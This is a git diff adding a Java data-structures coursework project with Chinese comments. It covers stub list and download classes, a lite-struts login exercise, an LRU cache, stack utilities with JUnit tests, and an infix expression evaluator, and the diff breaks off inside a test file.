diff --git a/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionException.java b/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionManager.java b/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/api/DownloadListener.java b/group23/563253496/week6_stack/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionImpl.java b/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..36a9d2ce15
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,27 @@
+package com.coderising.download.impl;
+
+import java.io.IOException;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		return null;
+	}
+
+	@Override
+	public int getContentLength() {
+		
+		return 0;
+	}
+
+	@Override
+	public void close() {
+		
+		
+	}
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..172371dd55
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,15 @@
+package com.coderising.download.impl;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		
+		return null;
+	}
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/litestruts/LoginAction.java b/group23/563253496/week6_stack/src/com/coderising/litestruts/LoginAction.java
new file mode 100644
index 0000000000..dcdbe226ed
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.coderising.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/litestruts/Struts.java b/group23/563253496/week6_stack/src/com/coderising/litestruts/Struts.java
new file mode 100644
index 0000000000..85e2e22de3
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/litestruts/Struts.java
@@ -0,0 +1,34 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+
+
+public class Struts {
+
+    public static View runAction(String actionName, Map<String,String> parameters) {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+    	return null;
+    }    
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/litestruts/StrutsTest.java b/group23/563253496/week6_stack/src/com/coderising/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..b8c81faf3c
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/litestruts/View.java b/group23/563253496/week6_stack/src/com/coderising/litestruts/View.java
new file mode 100644
index 0000000000..07df2a5dab
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/litestruts/View.java
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/BinaryTreeNode.java b/group23/563253496/week6_stack/src/com/coding/basic/BinaryTreeNode.java
new file mode 100644
index 0000000000..d7ac820192
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/BinaryTreeNode.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/Iterator.java b/group23/563253496/week6_stack/src/com/coding/basic/Iterator.java
new file mode 100644
index 0000000000..06ef6311b2
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/List.java b/group23/563253496/week6_stack/src/com/coding/basic/List.java
new file mode 100644
index 0000000000..10d13b5832
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/List.java
@@ -0,0 +1,9 @@
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/Queue.java b/group23/563253496/week6_stack/src/com/coding/basic/Queue.java
new file mode 100644
index 0000000000..36e516e266
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/Queue.java
@@ -0,0 +1,19 @@
+package com.coding.basic;
+
+public class Queue {
+	
+	public void enQueue(Object o){		
+	}
+	
+	public Object deQueue(){
+		return null;
+	}
+	
+	public boolean isEmpty(){
+		return false;
+	}
+	
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayList.java b/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayList.java
new file mode 100644
index 0000000000..4576c016af
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayList.java
@@ -0,0 +1,35 @@
+package com.coding.basic.array;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class ArrayList implements List {
+	
+	private int size = 0;
+	
+	private Object[] elementData = new Object[100];
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index, Object o){
+		
+	}
+	
+	public Object get(int index){
+		return null;
+	}
+	
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public Iterator iterator(){
+		return null;
+	}
+	
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayUtil.java b/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayUtil.java
new file mode 100644
index 0000000000..45740e6d57
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayUtil.java
@@ -0,0 +1,96 @@
+package com.coding.basic.array;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		return null;
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2){
+		return  null;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		return null;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		return null;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		return null;
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		return null;
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		return null;
+	}
+	
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrame.java b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..24b9d8b155
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,164 @@
+package com.coding.basic.linklist;
+
+
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		this.currentSize = 0;
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		
+		Node node = find(pageNum);
+		//在该队列中存在， 则提到队列头
+		if (node != null) {
+			
+			moveExistingNodeToHead(node);		
+			
+		} else{
+			
+			node = new Node();
+			node.pageNum = pageNum;
+			
+			// 缓存容器是否已经超过大小.
+			if (currentSize >= capacity) {			
+				removeLast();
+							
+			} 
+			
+			addNewNodetoHead(node);
+			
+			
+			
+						
+		}
+	}
+	
+	private void addNewNodetoHead(Node node) {
+		
+		if(isEmpty()){
+			
+			node.prev = null;
+			node.next = null;
+			first = node;
+			last = node;
+			
+		} else{
+			node.prev = null;
+			node.next = first;
+			first.prev = node;
+			first = node;
+		}
+		this.currentSize ++;
+	}
+
+	private Node find(int data){
+		
+		Node node = first;
+		while(node != null){
+			if(node.pageNum == data){
+				return node;
+			}
+			node = node.next;
+		}
+		return null;
+		
+	}
+
+	
+
+	
+	
+
+	/**
+	 * 删除链表尾部节点 表示 删除最少使用的缓存对象
+	 */
+	private void removeLast() {
+		Node prev = last.prev;
+		prev.next = null;
+		last.prev = null;
+		last = prev;
+		this.currentSize --;
+	}
+
+	/**
+	 * 移动到链表头，表示这个节点是最新使用过的
+	 * 
+	 * @param node
+	 */
+	private void moveExistingNodeToHead(Node node) {
+		
+		if (node == first) {
+			
+			return;
+		}
+		else if(node == last){
+			//当前节点是链表尾， 需要放到链表头
+			Node prevNode = node.prev;
+			prevNode.next = null;	
+			last.prev = null;
+			last  = prevNode;				
+			
+		} else{
+			//node 在链表的中间， 把node 的前后节点连接起来
+			Node prevNode = node.prev;
+			prevNode.next = node.next;
+			
+			Node nextNode = node.next;
+			nextNode.prev = prevNode;
+			
+			
+		}
+		
+		node.prev = null;
+		node.next = first;
+		first.prev = node;
+		first = node;	
+		
+	}
+	private boolean isEmpty(){		
+		return (first == null) && (last == null);
+	}
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..7fd72fc2b4
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0", frame.toString());
+		
+	}
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/linklist/LinkedList.java b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LinkedList.java
new file mode 100644
index 0000000000..f4c7556a2e
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LinkedList.java
@@ -0,0 +1,125 @@
+package com.coding.basic.linklist;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/Stack.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/Stack.java
new file mode 100644
index 0000000000..fff3778da5
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/stack/Stack.java
@@ -0,0 +1,64 @@
+package com.coding.basic.stack;
+
+import java.util.ArrayList;
+import java.util.ArrayList;
+
+/**
+ * Created by bdl19 on 2017/4/8.
+ */
+public class Stack {
+    private int count;
+    private ArrayList elementData;
+
+    public Stack() {
+        this.count = 0;
+        elementData = new ArrayList();
+    }
+
+    public void push(Object o) {
+        count++;
+        elementData.add(o);
+
+    }
+
+    public Object pop() {
+        count--;
+        Object o = elementData.get(count);
+        elementData.remove(count);
+        return o;
+    }
+
+    public Object peek() {
+
+        return elementData.get(count-1);
+    }
+
+    public boolean isEmpty() {
+        if (count == 0) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    public int size() {
+        return count;
+    }
+
+    public String toString(){
+        StringBuilder sb = new StringBuilder();
+        Stack s = new Stack();
+        while(!this.isEmpty()){
+            sb.append(this.peek().toString());
+            sb.append(",");
+            s.push(this.pop());
+        }
+        while(!s.isEmpty()){
+            this.push(s.pop());
+        }
+
+//       sb.deleteCharAt(sb.length()-1);
+        return sb.toString();
+    }
+}
+
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtil.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..70bd34e37f
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,136 @@
+package com.coding.basic.stack;
+import java.util.Stack;
+public class StackUtil {
+	
+	public static void bad_reverse(Stack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Stack<Integer> tmpStack = new Stack();
+		while(!s.isEmpty()){
+			tmpStack.push(s.pop());
+		}
+		
+		s = tmpStack;
+		
+	}
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Integer top = s.pop();
+		reverse(s);
+		addToBottom(s,top);
+		
+		
+	}
+	public static void addToBottom(Stack<Integer> s,  Integer value){
+		if(s.isEmpty()){
+			s.push(value);
+		} else{
+			Integer top = s.pop();
+			addToBottom(s,value);
+			s.push(top);
+		}
+		
+	}
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Stack tmpStack = new Stack();
+		
+		while(!s.isEmpty()){
+			Object value = s.pop();
+			if(!value.equals(o)){
+				tmpStack.push(value);
+			} 			
+		}
+		
+		while(!tmpStack.isEmpty()){
+			s.push(tmpStack.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		
+		if(s == null || s.isEmpty() || s.size()<len || len <=0 ){
+			return null;
+		}
+		
+		Stack tmpStack = new Stack();
+		int i = 0;
+		Object[] result = new Object[len];
+		while(!s.isEmpty()){
+			Object value = s.pop();			
+			tmpStack.push(value);
+			result[i++] = value;
+			if(i == len){
+				break;
+			}
+		}
+		
+		return result;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		
+		Stack<Character> stack = new Stack();
+		for(int i=0;i<s.length();i++){
+			char c = s.charAt(i);
+			
+			if(c == '(' || c =='[' || c == '{'){
+				
+				stack.push(c);
+				
+			} else if( c == ')'){
+				
+				char topChar = stack.pop();
+				if(topChar != '('){
+					return false;
+				}
+				
+			} else if( c == ']'){
+				
+				char topChar = stack.pop();
+				if(topChar != '['){
+					return false;
+				}
+					
+			} else if( c == '}'){
+				
+				char topChar = stack.pop();
+				if(topChar != '{'){
+					return false;
+				}
+				
+			}
+		}
+		return stack.size() == 0;
+	}
+	
+	
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtilTest.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..99dd8450fe
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtilTest.java
@@ -0,0 +1,78 @@
+package com.coding.basic.stack;
+
+import static org.junit.Assert.fail;
+
+import java.util.Stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testAddToBottom() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		
+		StackUtil.addToBottom(s, 0);
+		
+		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
+		
+	}
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..51bf762651
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,116 @@
+package com.coding.basic.stack.expr;
+
+import com.coding.basic.stack.Stack;
+
+import java.util.HashMap;
+
+public class InfixExpr {
+    String expr = null;
+    char[] chars;
+    Stack opStack;
+    Stack numStack;
+    private HashMap<Character, Integer> level = new HashMap<>();
+
+    int pos;
+
+    public InfixExpr(String expr) {
+        this.expr = expr;
+
+
+        this.level.put('+', 0);
+        this.level.put('-', 0);
+        this.level.put('*', 1);
+        this.level.put('/', 1);
+
+
+        this.opStack = new Stack();
+        this.numStack = new Stack();
+        this.pos = 0;
+    }
+
+    public float evaluate() {
+        chars = expr.toCharArray();
+        while (this.pos < chars.length) {
+            if (isOp(chars[pos])) {
+                if (opStack.isEmpty()) {
+                    opStack.push(chars[pos]);
+                    pos++;
+                } else {
+                    //TODO analyze
+                    char op = (char) opStack.pop();
+                    if (level.get(chars[pos]) <= level.get(op)) {
+                        int b = (int) numStack.pop();
+                        int a = (int) numStack.pop();
+                        int c = this.caculate(a, b, op);
+                        numStack.push(c);
+                        opStack.push(chars[pos]);
+                        pos++;
+
+
+                    }else {
+                        opStack.push(op);
+                        opStack.push(chars[pos]);
+                        pos++;
+                    }
+                }
+            } else {
+                int num = this.getNumber();
+                numStack.push(num);
+
+            }
+        }
+
+        while(!opStack.isEmpty()){
+            char op = (char) opStack.pop();
+            int b = (int) numStack.pop();
+            int a = (int) numStack.pop();
+            int c = this.caculate(a, b, op);
+            numStack.push(c);
+
+        }
+
+        return (int)numStack.pop();
+    }
+
+    private boolean isOp(char c) {
+        switch (c) {
+            case '+':
+            case '-':
+            case '*':
+            case '/':
+                return true;
+
+            default:
+                return false;
+        }
+    }
+
+    private int getNumber() {
+        int num = Integer.parseInt("" + chars[pos]);
+        pos++;
+        while ((pos < chars.length)&&(!isOp(chars[pos])) ) {
+            num *= 10;
+            num += Integer.parseInt("" + chars[pos]);
+            pos++;
+        }
+        return num;
+    }
+
+    private int caculate(int a, int b, char c) {
+        switch (c) {
+            case '+':
+                return a + b;
+            case '-':
+                return a - b;
+            case '*':
+                return a * b;
+            case '/':
+                return a / b;
+
+
+
+        }
+        return -1;
+    }
+}
+
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExprTest.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..20f52b4c63
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,48 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
